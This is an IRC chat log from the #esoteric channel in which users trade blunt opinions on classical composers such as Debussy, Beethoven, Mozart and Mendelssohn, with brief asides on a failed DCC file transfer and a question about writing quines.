PRIVMSG #esoteric :cpressey, tabletop? < 1267819674 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For that, it makes OK background music, but that's all it is < 1267819682 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Ring cycle < 1267819683 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: wagner is bacground music for ww2 melodrama < 1267819689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, flight of the valkyries doesn't fit anywhere < 1267819694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, ? < 1267819720 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Das Ring Der Niebelungenungenner < 1267819727 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, yes < 1267819744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, but that last word looks a bit too much extended < 1267819748 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :out of interest, what's the opion on dvorak here? < 1267819750 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Entgegengegangen, my favorite verb. < 1267819767 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, okay, quite nice background music < 1267819772 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :nothing you go "wow" over < 1267819774 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, Debussy varies widely. < 1267819776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some is really good < 1267819779 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes, I guess < 1267819780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some is a disaster < 1267819790 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Debussy only has one piece worthy of my ears < 1267819792 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :La Mer is a disaster for example < 1267819796 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :clarir de lune < 1267819797 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Debussy is for falling asleep to < 1267819826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I would add "The Girl with the Flaxen Hair" to that < 1267819832 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1267819835 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Copland, and Britten, otoh... < 1267819849 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, doesn't ring much of bells here < 1267819852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the first slightly < 1267819854 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the second none at all < 1267819860 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and finally, the last of my idols, the not so classical gershwin < 1267819865 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Copland is only known in the US :P < 1267819871 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, gershwin is quite nice < 1267819888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I count classically as the classical period only < 1267819890 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well, by apperciating him I can forgive your admiration of chamber music < 1267819895 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And sometimes the US is known as Copland, because the Cops here are so ... nice. < 1267819899 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the vulgar sense of "classical" music < 1267819904 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I call "art music" < 1267819912 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :interesting < 1267819913 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from translating the Swedish word for it < 1267819918 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I just call it "music actually worth listening to" :P < 1267819921 0 :whtspc!~whtspc@a46058.upc-a.chello.nl JOIN :#esoteric < 1267819933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, well I think experimental jazz can be quite okay sometimes < 1267819942 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Fair enough. < 1267819952 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But yeah, classical music encompasses Haydn to Beethoven, and not much else. < 1267819959 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And little of what we've talked about. < 1267819967 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :debussy is fucking awesome < 1267819973 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :that is, to me, classic music < 1267819980 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :classical music, is all of what we mention < 1267819980 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, Beethoven is right at the edge of the classical period though < 1267819985 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :hiato: obviously you like the arabesque < 1267819987 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :by debussy < 1267819990 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yeah, he's certainly arguable. < 1267819996 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :guilty as charged < 1267819997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, some of his work I would call romantical rather than classical < 1267820008 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But that "some" is important :) < 1267820013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I like it, but not something I go "wow" above < 1267820016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :about* < 1267820019 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you're not hiato < 1267820026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, true < 1267820033 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just provided an extra data point < 1267820036 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you might actually have some taste < 1267820049 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :he just claims to like clair de lune, so obviously he must like arabesque as well < 1267820057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lets all agree that Mozart's chamber music is awesome? < 1267820062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :especially if for a string quartet < 1267820075 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dunno, divertimentos are kinda boring < 1267820092 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :!Error: does not compute! < 1267820115 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i really like the 1st mvt of dissonance quartet, but the others not so much < 1267820117 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I quite like the last movement in Eine Kleine Nachtmusik (spelling? The spellchecker should auto detect what I meant!) < 1267820126 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh i never actually heard that :D < 1267820132 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1267820137 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :And sheep may safely graze < 1267820154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, well, it is one of his most famous pieces of music < 1267820161 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: only one mvt < 1267820166 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, which one? < 1267820168 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :obviously i heard that one < 1267820169 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the famous one < 1267820170 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fuck < 1267820177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I don't know which one is the famous one! < 1267820191 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Suk! < 1267820204 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Nobody (outside of the Czech Republic) has heard of Suk :P < 1267820211 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=cqah1rucyRg <-- IT'S SO AMERICAN! < 1267820211 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I'm talking about Rondo: Allegro < 1267820234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, the title made me decide it wasn't worth the effort to youtube-dl < 1267820240 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 1st mvt is the famous one < 1267820249 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :uh, but the percussion section in the orchestra is kind of fail < 1267820249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, all, well, it is kind of okay < 1267820261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, but nothing, I repeat *nothing* like the final movement! < 1267820299 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, the final movement really made me go "wow, wow" the first time I heard it < 1267820312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also what is your opinion on Leopold Mozart? < 1267820322 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it's actually a fine piece of music. < 1267820325 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :IMo of course < 1267820345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, which one? K525 IV. Rondo? < 1267820350 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :never heard leopold mozart < 1267820354 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks that anyone who checks the logs for today will think that the date must be April 1
< 1267820354 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the link i sent < 1267820364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how many here has even listened to anything composed by W. A. Mozart's father
< 1267820368 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has almost no opinion on Mozart
< 1267820381 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Beethoven, otoh < 1267820385 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :<3 Beethoven < 1267820388 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has never heard of W. Mozart's Father
< 1267820393 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :noooooo! < 1267820394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, isn't any "wow" < 1267820408 0 :dougx!unknown@unknown.invalid QUIT :Quit: Leaving. < 1267820409 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Any Mozart? Um... < 1267820414 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, Leopold Mozart. Heard one piece of it < 1267820419 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That Turkish March thing is catchy. < 1267820422 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :beethoven is lame < 1267820428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, well yes < 1267820433 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i hate beethoven < 1267820436 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: name? < 1267820436 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I meant Beethoven " cpressey, isn't any "wow"" < 1267820436 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what a pretentious dickwad < 1267820437 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :lament: OK, so let me get this straight. < 1267820441 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, who? < 1267820446 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: turkish is wolf mozart < 1267820448 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :lament: You *like* Debussy and you *don't like* Beethoven. < 1267820450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, oh the piece? Toy Symphony < 1267820455 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yeah < 1267820456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, includes some unusual instruments < 1267820461 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1267820465 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: beethoven is like, omg check out how awesome i am and how much my heroic soul suffers < 1267820472 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :guess what fuck you dipshit i dont care < 1267820493 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I have to agree with lament here. Beethoven made some quite nice pieces. But a lot of it is just too heavy and romantical < 1267820508 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :thirded! (?) < 1267820529 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :when beethoven is classical, he's worse than mozart < 1267820535 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :when beethoven is romantic, he's worse than chopin < 1267820539 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :he's just stuck in this in-between stage < 1267820556 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, Fur Elise is quite nice though < 1267820578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they used to play an electronic version of it on some radio station here when it wasn't sending < 1267820579 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :moohlight aynone? < 1267820582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like, during the night < 1267820586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the first opening bars or such < 1267820596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, "meh" < 1267820606 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I would say moonlight > fur elise < 1267820608 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: dcc < 1267820611 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't get what the fuss is about wrt moonlight < 1267820622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, uh, need to unblock it < 1267820626 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but that's just becaues, for me, the melody is more "involved" < 1267820647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, okay, temporarily unignored dcc < 1267820649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :try again < 1267820656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, and I'm behind weird NAT < 1267820663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so, I hope it all works on your side < 1267820676 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, but what are you going to send? < 1267820679 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :lament: Just wanted to get that straight. < 1267820688 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and when will the dialogue come?) < 1267820690 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For the record, I barely consider what Debussy wrote to be music. < 1267820710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, for La Mer I would agree. For several of his other works I find them very nice < 1267820747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course even La Mer is *miles* above people like Schönberg (who is *parsecs* above Wagner) < 1267820759 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :As French composers go, Berlioz or Couperin. < 1267820764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Satie! < 1267820767 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but back to beethoven, I have this brialliant CD set of Ashkenazy playing some of his piano movements, brilliant the lot. But, then as they progress, you can hear the romantic influences and it gets annoying < 1267820769 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh right! < 1267820777 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I keep forgetting Satie is French. < 1267820778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, Lizt and Paganini are interesting technically < 1267820786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, aren't you going to resend the DCC request then? < 1267820801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, as I said it was dropped first time and now I temporarily allowed it < 1267820801 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: only if you are a violin player < 1267820805 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And Schönberg was some very twisted soul who I'll never understand. < 1267820806 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what? < 1267820811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, well, to listen to < 1267820829 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Paganinin, I don't find technically interesting, being a saxophonist < 1267820836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, it says "connecting..." < 1267820848 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, sure you opened the ports on your side? < 1267820851 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fuck dcc < 1267820852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* DCC RECV connect attempt to lament failed (err=Connection timed out). < 1267820857 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1267820860 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i'm too lazy to upload it < 1267820867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, fur elise I see < 1267820873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but what is special about that one < 1267820895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION re-enabled *!*@* dcc ignore
< 1267820896 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: debussy is stunning at times < 1267820908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, agreed. But what about La Mer? < 1267820913 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: you don't like the sunken cathedral? < 1267820915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can't say that one is stunning can you? < 1267820925 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: please be more logical and less non-sequitur < 1267820936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, wrt what? < 1267820993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION never heard the sunken cathedral btw
< 1267821006 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :brb in a few minutes < 1267821045 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Checking my playlist now, it seems I listen to brahms more than vivaldi, handel, chopin, mozart, bach, lizt and some others put together < 1267821051 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and I don't even like brahms :P < 1267821063 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :brahms has awesome harmonies < 1267821067 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :nobody else is even close < 1267821085 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well i guess rachmaninoff < 1267821151 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Who was it that wrote the Peer Gynt Suite? That, to me, is the greatest (non-Satie) simplistic music < 1267821163 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If Beethoven had a suffering, heroic soul, then Debussy had the soul of a lovesick schoolgirl. < 1267821213 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks for Sunken Cathedral
< 1267821283 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Grieg I think? < 1267821334 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Se possible < 1267821359 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :who, by the way, I think struck it lucky with hall of the mountain king < 1267821392 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Kind of a one-hit wonder, yeah, but he wrote a lot of short "character pieces", and what I've heard of the others, he's not too bad. < 1267821414 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :pf... didn't know about that < 1267821496 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Completely forgot. < 1267821512 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Mendelssohn < 1267821517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Checking my playlist now, it seems I listen to brahms more than vivaldi, handel, chopin, mozart, bach, lizt and some others put together <-- bramhs? "meh" again < 1267821533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Who was it that wrote the Peer Gynt Suite? That, to me, is the greatest (non-Satie) simplistic music < 1267821538 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Grieg is indeed awesome < 1267821566 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I listened to the whole Peer Gynt of course < 1267821569 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, now I can say I have endured the Sunken Cathedral. < 1267821570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :quite interesting < 1267821576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, link? < 1267821581 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's kind of nice... if you like downing. < 1267821596 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or drowning. < 1267821601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Mendelssohn is meh < 1267821607 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: to which? < 1267821610 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :medelssohn is genious < 1267821618 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, sunken cathedral < 1267821619 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :violin concerto in e minor! < 1267821629 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I-TAL-ian, I-TAL-ian, dah DAHHH, duh duh duh < 1267821631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, not sure I heard that one. Link? < 1267821639 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://www.youtube.com/watch?v=3geejD5Dksk < 1267821683 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, disharmonic much? < 1267821693 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is the bit I hate about La Mer < 1267821697 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well not hate < 1267821700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's too strong < 1267821704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"strongly dislike" is better < 1267821716 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://ocw.mit.edu/OcwWeb/Electrical-Engineering-and-Computer-Science/6-035Fall-2005/CourseHome/index.htm < 1267821719 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yugh < 1267821726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, really? < 1267821731 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=p08izmpPy0s# < 1267821734 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267821736 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, are you using synergy or something? < 1267821737 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: lots of wishy-washy not-exactly-disharmonious fourths and ninths and stuff, I though < 1267821743 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :goddamn two xclipboards < 1267821744 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it tends to fuck up your clipboard badly < 1267821752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, I always use middle mouse one < 1267821815 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :i guess < 1267821883 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Chopin isn't great, but there's a couple of his pieces that always get stuck in my head < 1267821895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, okay background music < 1267821900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you don't remember it 5 minutes later < 1267821903 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't dig piano music generally, but his I can usually stand < 1267821907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is my opinion on Chopin < 1267821923 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not quite as background-y as Wagner, but yes, pretty background-y. < 1267821925 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, wrt. piano music: Mozart or Lizt < 1267821936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plus I play piano (amateur level!) myself < 1267821945 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You know, I know almost nothing by Liszt. < 1267821950 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, wagener isn't backgroundy. Wagner is headachy < 1267821957 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And, I now claim, Mozart was a robot. < 1267821963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what? < 1267821977 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, I figured I ought to have some opinion about him, so there it is,. < 1267821984 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267822070 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: and? what did you think of he mendelssohn? < 1267822072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, listened to that sunken cathedral. Not one of his best pieces < 1267822082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, just started listening to it < 1267822102 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, too much symphony orchestra. But at least a lot of strings. < 1267822118 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Wait, it's a *violin* concerto < 1267822121 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :mainly solo < 1267822122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, one of mendelssohn's better pieces so far < 1267822128 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: Max Bruch also wrote a pretty quality violin concerto < 1267822133 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, well, too much orchestra then < 1267822134 0 :angstrom!~anon@unaffiliated/angstrom JOIN :#esoteric < 1267822140 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Never heard of him cpressey < 1267822142 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(hiato, remember I prefer chamber music) < 1267822151 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm who is angstrom? < 1267822160 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: I first heard of him from the B-side of that Mendelssohn concerto :) < 1267822161 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :could a quine be written which utilizes a function to generate a sequence of numbers (ascii) which, printed out, represent the program (_including_ the implementation of the function!) ? < 1267822165 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, anyway got anywhere with befunge-111 today? < 1267822177 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: not working on it today. < 1267822189 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :angstrom, how do you mean? < 1267822202 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :angstrom, and in which language < 1267822204 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*B-side of a recording of that Mendelssohn concerto < 1267822219 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: wondering whether is possible at all < 1267822221 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :angstrom: in any sufficiently powerful language (TC with a few assumptions about I/O), there's no reason it couldn't be < 1267822240 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You get pinged on 'quine', don't you? :) < 1267822243 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: right, a chamber musci man can't apperciate mendelssohn at his best < 1267822244 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :ais523: but how would one move towards it < 1267822249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, :D < 1267822252 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: no, I don't; just happened to look into the channel < 1267822261 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: interesting, I'll take a look around < 1267822269 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :angstrom: you'd use one of the quine models that allow you to add arbitrary data that's also quined < 1267822278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, yeah, Vivaldi, Mozart and Kraus for me. And *some* of Haydn < 1267822288 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :then put code in that duplicates that arbitrary data that changes an ordinary quine into the numbers < 1267822297 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that is not what i mean < 1267822306 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean? < 1267822338 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :are you trying to limit the "function" somewhat so it doesn't have a bunch of arbitrary data encoded in it? < 1267822346 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hiato: OK, listening to the Mendelssohn concerto again, uhhh. Max Bruch's is good, but it doesn't compare. < 1267822382 0 :AnMaster!unknown@unknown.invalid 